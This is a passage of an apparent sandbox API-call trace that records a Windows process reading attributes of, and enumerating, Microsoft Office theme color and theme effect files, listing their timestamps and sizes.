	[0051.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c148 | out: lpFileInformation=0x1270c148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c198 | out: lpFileInformation=0x1270c198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0051.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c1e8 | out: lpFileInformation=0x1270c1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6)) returned 1
	[0051.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c238 | out: lpFileInformation=0x1270c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1
	[0051.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c288 | out: lpFileInformation=0x1270c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5)) returned 1
	[0051.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c2d8 | out: lpFileInformation=0x1270c2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3)) returned 1
	[0051.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c328 | out: lpFileInformation=0x1270c328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1
	[0051.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c378 | out: lpFileInformation=0x1270c378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1
	[0051.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c3c8 | out: lpFileInformation=0x1270c3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf)) returned 1
	[0051.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c418 | out: lpFileInformation=0x1270c418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0051.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c468 | out: lpFileInformation=0x1270c468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1
	[0051.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270c4b8 | out: lpFileInformation=0x1270c4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3)) returned 1
	[0051.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), fInfoLevelId=0x0, lpFileInformation=0x1270c508 | out: lpFileInformation=0x1270c508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.823] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1
	[0051.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1
